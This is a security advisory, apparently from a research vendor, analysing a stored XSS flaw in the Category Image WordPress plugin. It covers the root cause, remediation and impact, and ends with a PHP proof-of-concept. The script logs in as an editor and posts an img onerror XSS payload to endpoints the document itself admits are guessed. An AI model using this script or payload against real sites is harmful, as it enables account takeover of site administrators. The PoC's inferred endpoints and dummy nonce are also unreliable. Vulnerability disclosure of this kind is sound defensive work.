Atomic Edge analysis of CVE-2026-0815 (metadata-based):
This vulnerability is an authenticated stored cross-site scripting (XSS) flaw in the Category Image WordPress plugin. The vulnerability exists in the ‘tag-image’ parameter handling. Attackers with Editor-level or higher privileges can inject malicious scripts that persist in the database and execute when affected pages load. The CVSS score of 4.4 reflects the requirement for high privileges and high attack complexity, but the scope change to client-side components increases impact.
Atomic Edge research infers the root cause is insufficient input sanitization and output escaping for the ‘tag-image’ parameter. The CWE-79 classification confirms improper neutralization of input during web page generation. Without a code diff, this conclusion is inferred from the CVE description and standard WordPress plugin patterns. The plugin likely accepts user input for category or tag image metadata, stores it without proper sanitization using functions like `sanitize_text_field`, and later outputs it without escaping via functions like `esc_attr` or `esc_url`.
Exploitation requires an authenticated attacker with Editor or Administrator capabilities. The attacker likely accesses a plugin administration page, such as the category or tag management interface. They would submit a crafted payload in the ‘tag-image’ field, which could be a form field for setting an image URL or identifier. A typical payload would be `
` or a JavaScript URI like `javascript:alert(1)`. The payload persists in the WordPress database, likely in the `wp_termmeta` table, and executes whenever a user views a page that displays the compromised category or tag image.
Remediation requires implementing proper input validation and output escaping. The plugin should sanitize the ‘tag-image’ parameter on input using `sanitize_text_field` or `esc_url_raw` depending on the expected data type. On output, the plugin must escape the value using `esc_attr` for HTML attributes or `esc_url` for URLs. WordPress core functions like `wp_kses_post` could also be used for more complex HTML contexts. A patch would involve adding these sanitization and escaping functions around the vulnerable parameter processing.
The impact of successful exploitation includes session hijacking, administrative actions performed on behalf of users, and defacement. An attacker with Editor privileges could escalate to Administrator by targeting administrative users. The stored nature means the payload executes for all users viewing the compromised content. While the attack requires high privileges, the client-side execution can lead to full site compromise if administrative users are targeted.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-0815 - Category Image <= 2.0 - Authenticated (Editor+) Stored Cross-Site Scripting via 'tag-image' Parameter
<?php
/**
* Proof of Concept for CVE-2026-0815
* Assumptions based on metadata:
* 1. The plugin has an admin interface for setting category/tag images
* 2. The vulnerable parameter is 'tag-image' submitted via POST
* 3. The endpoint is likely /wp-admin/admin-ajax.php or a custom admin page
* 4. Editor or higher privileges are required
* 5. Nonce verification may be present but is not a barrier for authorized users
*/
$target_url = 'http://vulnerable-wordpress-site.com'; // CHANGE THIS
$username = 'editor_user'; // CHANGE THIS - must have Editor role
$password = 'editor_password'; // CHANGE THIS
// Payload to inject - basic XSS proof
$payload = '<img src=x onerror=alert("Atomic_Edge_XSS")>';
// First, authenticate and get session cookies
$ch = curl_init();
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-login.php',
CURLOPT_POST => true,
CURLOPT_POSTFIELDS => http_build_query([
'log' => $username,
'pwd' => $password,
'wp-submit' => 'Log In',
'redirect_to' => $target_url . '/wp-admin/',
'testcookie' => '1'
]),
CURLOPT_RETURNTRANSFER => true,
CURLOPT_COOKIEJAR => '/tmp/cookies.txt',
CURLOPT_COOKIEFILE => '/tmp/cookies.txt',
CURLOPT_FOLLOWLOCATION => true,
CURLOPT_HEADER => true
]);
$response = curl_exec($ch);
// Check if login succeeded by looking for admin dashboard indicators
if (strpos($response, 'wp-admin') === false) {
die('Login failed. Check credentials.');
}
// Since exact endpoint is unknown, we attempt common patterns
// Pattern 1: AJAX handler (most likely)
$ajax_data = [
'action' => 'category_image_update', // Inferred action name
'tag-image' => $payload,
'term_id' => '1', // Assuming term ID 1 exists
'nonce' => 'dummy_nonce' // Would need to be extracted from admin page
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/admin-ajax.php',
CURLOPT_POSTFIELDS => $ajax_data,
CURLOPT_REFERER => $target_url . '/wp-admin/edit-tags.php'
]);
$ajax_response = curl_exec($ch);
// Pattern 2: Direct admin POST (alternative)
$admin_post_data = [
'action' => 'update',
'tag-image' => $payload,
'tag_ID' => '1',
'taxonomy' => 'category'
];
curl_setopt_array($ch, [
CURLOPT_URL => $target_url . '/wp-admin/edit-tags.php',
CURLOPT_POSTFIELDS => $admin_post_data
]);
$admin_response = curl_exec($ch);
curl_close($ch);
echo 'Payload injection attempted. Visit category/tag pages to verify execution.n';
echo 'Note: This PoC requires manual nonce extraction and exact endpoint discovery for full automation.n';
?>
